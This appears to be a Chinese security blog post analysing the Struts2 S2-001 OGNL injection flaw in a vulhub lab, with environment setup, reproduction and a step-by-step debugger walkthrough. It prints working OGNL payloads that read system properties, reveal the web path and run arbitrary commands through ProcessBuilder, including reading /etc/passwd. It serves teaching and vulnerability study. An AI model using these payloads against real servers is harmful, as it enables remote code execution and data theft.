<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】Struts2-001 遠程代碼執行漏洞淺析

    VSole2021-07-20 17:14:54

    原理


    (一)概述

    搭建環境后,查看參考link,可了解相關信息。

    (二)原理

    漏洞的產生在于WebWork 2.1 和Struts 2的’altSyntax’配置允許OGNL 表達式被插入到文本字符串中并被遞歸處理(Struts2框架使用OGNL作為默認的表達式語言,OGNL是一種表達式語言,目的是為了在不能寫Java代碼的地方執行java代碼;主要作用是用來存數據和取數據的)。這就導致惡意用戶可以提交一個字符串(通常通過HTML的text字段),該字符串包含一個OGNL表達式,在表單驗證失敗后,此表達式會被server執行。例如,下面的表單默認不允許’phoneNumber’字段為空。

    <s:form action="editUser">  <s:textfield name="name" />  <s:textfield name="phoneNumber" />s:form>
    

    此時,惡意用戶可以將phoneNumber字段置空以觸發驗證錯誤,再控制name字段的值為 %{1+1}。當表單被重新展示給用戶時,name字段的值將為2。產生這種情況的原因是這個字段默認被當作%{name}處理,由于OGNL表達式被遞歸處理,處理的效果等同于%{%{1+1}}。實際上,相關的OGNL解析代碼在XWork組件中,并不在WebWork 2或Struts 2內。

    用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以構造 payload 進行命令執行。

    提交表單并驗證失敗時,由于Strust2默認會原樣返回用戶輸入的值而且不會跳轉到新的頁面,因此當返回用戶輸入的值并進行標簽解析時,如果開啟了altSyntax,會調用translateVariables方法對標簽中表單名進行OGNL表達式遞歸解析返回ValueStack值棧中同名屬性的值。因此我們可以構造特定的表單值讓其進行OGNL表達式解析從而達到任意代碼執行。



    調試


    (一)環境搭建

    使用vulhub/struts2/s2-001

    docker-compose builddocker-compose up -d
    

    為了動態調試,我們將IDEA中默認生成的這句話append到 Tomcat 的 bin 目錄下的catalina.sh文件(如果是 Windows 系統則修改catalina.bat文件),

    export JAVA_OPTS='-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001'
    

    原docker-compose.yml修改如下,

    version: '2'services: tomcat:   build: .   ports:    - "8080:8080"    - "8001:8001"   environment:     TZ: Asia/Shanghai     JPDA_ADDRESS: 8001     JPDA_TRANSPORT: dt_socket   command: ["catalina.sh", "jpda", "run"]   networks:      - default
    

    調用棧將docker-compose down之后再docker-compose up -d,即可正常使用idea調試。

    接下來將webapps/ROOT/WEB-INF下的lib和classes都加入idea的lib。

    (二)復現

    環境搭建完畢后訪問http://xxxx:8080/查看結果,

    其中的password存在漏洞,用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。

    在translateVariables方法中,遞歸解析表達式,在處理完%{password}后將password的值直接取出并繼續在while循環中解析,若用戶輸入的password是惡意的ognl表達式,則得以解析執行。

    按照vulhub的提示,我們可以使用如下命令獲取tomcat執行路徑:

    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    

    重新渲染后,password字段已經變為執行結果。

    相應的可以執行其他命令,這里不過多展示。

    獲取Web路徑:

    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    

    執行任意命令(命令加參數:new java.lang.String[]{"cat","/etc/passwd"}):

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    (三)調試

    Struts運行流程如下:

    1.用戶發出請求

    Tomcat接收請求,并選擇處理該請求的Web應用。

    2.web容器去相應工程的web.xml

    在web.xml中進行匹配,確定是由struts2的過濾器FilterDispatcher(StrutsPrepareAndExecuteFilter)來處理,找到該過濾器的實例(初始化)。

    3.找到FilterDispatcher,回調doFilter()

    通常情況下,web.xml文件中還有其他過濾器時,FilterDispatcher是放在濾器鏈的最后;如果在FilterDispatcher前出現了如SiteMesh這種特殊的過濾器,還必須在SiteMesh前引用Struts2的ActionContextCleanUp過濾器。

    4.FilterDispatcher將請求轉發給ActionMapper

    ActionMapper負責識別當前的請求是否需要Struts2做出處理。

    5.ActionMapper告訴FilterDispatcher,需要處理這個請求,建立ActionProxy

    FilterDispatcher會停止過濾器鏈以后的部分,所以通常情況下:FilterDispatcher應該出現在過濾器鏈的最后。然后建立一個ActionProxy對象,這個對象作為Action與xwork之間的中間層,會代理Action的運行過程.

    6.ActionProxy詢問ConfigurationManager,讀取Struts.xml

    ActionProxy對象詢問ConfigurationManager問要運行哪個Action。ConfigurationManager負責讀取并管理struts.xml的(可以理解為ConfigurationManager是struts.xml在內存中的映像)。在服務器啟動的時候,ConfigurationManager會一次性的把struts.xml中的所有信息讀到內存里,并緩存起來,以保證ActionProxy拿著來訪的URL向他詢問要運行哪個Action的時候,就可以直接查詢。

    7.ActionProxy建立ActionInvocation對象

    ActionProxy獲取了要運行的Action、相關的攔截器以及所有可能使用的result信息,開始建立ActionInvocation對象,ActionInvocation對象描述了Action運行的整個過程。

    8.在execute()之前的攔截器

    在execute()之前會執行很多默認的攔截器。攔截器的運行被分成兩部分,一部分在Action之前運行,一部分在Result之后運行,且順序是相反的。如在Action執行前的順序是攔截器1、攔截器2、攔截器3,那么運行Result之后,再次運行攔截器的時候,順序就是攔截器3、攔截器2、攔截器1。

    9.執行execute()方法

    10.根據execute方法返回的結果,也就是Result,在struts.xml中匹配選擇下一個頁面

    11.找到模版頁面,根據標簽庫生成最終頁面

    12.在execute()之后執行的攔截器,和8相反

    13.ActionInvocation對象執行完畢

    這時候已經得到了HttpServletResponse對象了,按照配置定義相反的順序再經過一次過濾器,向客戶端展示結果。

    1.正常解析部分

    前半部分調用棧如下:

    translateVariables:119, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:71, TextParseUtil (com.opensymphony.xwork2.util)findValue:313, Component (org.apache.struts2.components)evaluateParams:723, UIBean (org.apache.struts2.components)end:481, UIBean (org.apache.struts2.components)doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f1:16, index_jsp (org.apache.jsp)_jspx_meth_s_005fform_005f0:16, index_jsp (org.apache.jsp)_jspService:14, index_jsp (org.apache.jsp)service:70, HttpJspBase (org.apache.jasper.runtime)service:742, HttpServlet (javax.servlet.http)...
    

    發送請求,FilterDispatcher.doFilter被觸發,這其中調用FilterDispatcher.serviceAction,

    invokeAction調用了action(LoginAction)的method(execute),

    繼續運行,斷在LoginAction.execute(),

    顯然,username不為admin,表單驗證失敗,此時Strust2默認會調用translateVariables方法對標簽中表單名進行OGNL表達式遞歸解析返回ValueStack值棧中同名屬性的值。

    中間有若干底層流程,略過,我們直接在doStartTag()下斷,

    本函數的功能是開始解析標簽,

    繼續向下,開始加載第一個TextField,

    接下來如果配置正確(我反正沒有配置正確?,只能看到下圖),應該會進入jsp頁面中,便可以清晰的看到jsp頁面被逐標簽解析。

    當加載到/>時,會進入doEndTag()函數,從名字可以判斷,此函數的功能大概是完成對一個標簽的解析,因為調試時payload放在了password里面,因而此處對于username的解析不過展示。

    此時前面的tag已經被展示出來,未進入doStartTag的password字段沒有顯示。

    接下來我們快進到第二個TextField(password)的doEndTag()。

    跟進this.component.end(),進入了org.apache.struts2.components.UIBean#end,

    跟進this.evaluateParams();,

    快進到this.altSyntax()處,

    前面提到,altSyntax默認是開啟的,接下來的expr顯而易見為%{password},

    跟進this.findValue(expr, valueClazz),

    由前面可知,TextField 的valueClassType為class java.lang.String,且altSyntax默認開啟,

    因此將會進入TextParseUtil.translateVariables(‘%’, expr, this.stack);,

    步入,進入translateVariables,

    二級步入,將進入調試的主體部分translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator),

    此處傳入的expression為%{password},

    接下來的while循環的目的是確定start和end的位置,

    此處顯然不會進入if,

    接下來,取出%{}表達式中的值,賦值給var,

    然后調用stack.findValue(var, asType),由前面可知,此處的stack為OgnlValueStack,OgnlValueStack是ValueStack的實現類。

    valueStack是struts2的值棧空間,是struts2存儲數據的空間,是一個接口,struts2使用OGNL表達式實際上是使用實現了ValueStack接口的類OgnlValueStack(它是ValueStack的默認實現類)。

    客戶端發起一個請求時,struts2會創建一個Action實例同時創建一個OgnlValueStack值棧實例,OgnlValueStack貫穿整個Action的生命周期。Struts2中使用OGNL將請求Action的參數封裝為對象存儲到值棧中,并通過OGNL表達式讀取值棧中的對象屬性值。

    ValueStack中有兩個主要區域

    • CompoundRoot 區域:是一個ArrayList,存儲了Action實例,它作為OgnlContext的Root對象。獲取root數據不需要加#
    • context 區域:即OgnlContext上下文,是一個Map,放置web開發常用的對象數據的引用。request、session、parameters、application等。獲取context數據需要加#

    操作值棧,通常指的是操作ValueStack中的root區域。

    ValueStack類的setValue和findValue方法可以設置和獲得Action對象的屬性值。OgnlValueStack的findValue方法可以在CompoundRoot中從棧頂向棧底找查找對象的屬性值。

    跟進findValue(),

    由函數名可以推測, 這一函數的功能是查找expr對應的值,且此函數最終要return value,我們可以大膽設想,value變量是本函數的重點,如此,則需要重點關注對value進行操作的函數OgnlUtil.getValue,

    跟進,

    compile對’password’進行解析,返回了適用的結果。

    接下來跟進Ognl.getValue,看起來此函數會結合root和context進行value的獲取。

    顯然,這里我們要關注的是result變量,這就需要跟進((Node)tree).getValue(ognlContext, root)。

    顯然會進入下面的else分支,

    跟進之,

    看起來,經歷了若干級的調用,最終有效的是this.getValueBody(context, source),

    跟進,可以看到再向下跟進最終是將password字段的值加載了進來。

    不再深入跟進了,感覺好像沒什么意義了?,此時單單getValue的調用棧已經有幾層了。

    getProperty:1643, OgnlRuntime (ognl)getValueBody:92, ASTProperty (ognl)evaluateGetValueBody:170, SimpleNode (ognl)getValue:210, SimpleNode (ognl)getValue:333, Ognl (ognl)getValue:194, OgnlUtil (com.opensymphony.xwork2.util)findValue:238, OgnlValueStack (com.opensymphony.xwork2.util)
    

    接下來步出幾層,回到translateVariables:122, TextParseUtil (com.opensymphony.xwork2.util),

    接下來經過拼接操作,expression被賦值,

    2.遞歸解析部分

    我們觀察到,此while循環只有一個出口,那就是if (start == -1 || end == -1 || count != 0),因此這里進行完expression的賦值后,會開啟新的一輪while。

    這里我們可以看出,translateVariables無意之間遞歸解析了表達式,我們的password字段放置了%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}這樣一個包含%{expression}的字符串,%{password}的結果將再次被當作expression解析,就可能造成惡意ognl表達式的執行。

    此次循環中,進入findValue的var是去掉前兩個字符的expression,也就是tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}。

    接下來跟進findValue(),這里的流程和上面是一樣的,重點應該還是跟進OgnlUtil.getValue,

    和剛才相同的流程,深入跟進至evaluateGetValueBody:170, SimpleNode (ognl)

    getValue:210, SimpleNode (ognl),

    跟進,

    在對于第一行的getValue()進行跟進幾層之后,經過了一些表達式執行的操作,得到了result的第一部分。

    接下來的for循環,會繼續執行完整表達式%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}的其他部分。

    深入跟進時,發生了一些有趣的事情,

    這里調用了System.getProperty(),實際上實現了代碼執行。

    回到getValueBody,此時result已經被add上了新的一部分,

    各部分add之后,最終的result如下。

    逐級步出,回到TextParseUtil.translateVariables,expression被拼接為tomcatBinDir{/usr/local/tomcat},開啟一個新的循環。

    但是此時,open為%,expression.indexOf(open + “{“)為-1,而start為-1時,將會return。

    簡單跟進一下,

    可以猜測,這里是將Object類型的o轉化為普通的字符串。

    接下來簡單步出,可將流程結束。



    收獲與啟示


    借助學習和調試,了解了Struts2的運轉流程,簡單學習了OGNL表達式,增強了分析能力。

    參考鏈接

    https://blog.csdn.net/qq_37602797/article/details/108121783

    http://wechat.doonsec.com/article/?id=308b4bab7df3ecdb3bdda6fe1e026ac6

    https://blog.csdn.net/qq_43571759/article/details/105122443

    https://blog.csdn.net/Auuuuuuuu/article/details/86775808

    https://blog.csdn.net/weixin_44508748/article/details/105472482

    https://cloud.tencent.com/developer/article/1598043

    https://www.jianshu.com/p/99705a8ad3c3

    https://blog.csdn.net/yu102655/article/details/52179695

    https://www.cnblogs.com/kuoAT/p/6527981.html

    https://blog.csdn.net/qq_44757034/article/details/106838688

    struts2ognl
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    用戶名:加密密碼:密碼最后一次修改日期:兩次密碼的修改時間間隔:密碼有效期:密碼修改到期到的警告天數:密碼過期之后的寬限天數:賬號失效時間:保留。查看下pid所對應的進程文件路徑,
    漏洞的產生在于WebWork 2.1 和Struts 2的’altSyntax’配置允許OGNL 表達式被插入到文本字符串中并被遞歸處理。
    作為一只網安新人小白,在RCE方向上的求知經高人指點落腳在了Struts2上。
    本周末實踐的是開源漏洞靶場vulfocus,真是簡單易用,以下是實踐記錄, 搞個ubuntu18.04的虛擬機,安裝docker, sudo apt install docker.io, sudo systemctl enable docker, sudo gpasswd -a ubuntu docker, newgrp docker, 下載vulfocus容器鏡像,docker pu
    S2-009是S2-003與S2-005的補丁繞過,當時的補丁是增加了正則以及相關的限制,主要的防御還是正則。
    S2-007的漏洞原理是在處理類型轉換的錯誤時會存入錯誤到內存中,在后續調用流程中觸發OGNL表達式注入。
    經過奇安信CERT研判,此漏洞已公開的POC有效。
    2022年04月12日,Apache官方發布了Apache Struts2的風險通告,漏洞編號為CVE-2021-31805,漏洞等級:高危,漏洞評分:8.5。Apache Struts 2是一個用于開發Java EE網絡應用程序的開放源代碼網頁應用程序架構。它利用并延伸了Java Servlet API,
    近期,啟明星辰漏掃團隊在漏洞監控中發現Apache Struts2存在遠程代碼執行漏洞,Apache Struts2框架是一個用于開發Java EE網絡應用程序的Web框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
    Struts2是一個基于MVC設計模式的Web應用框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类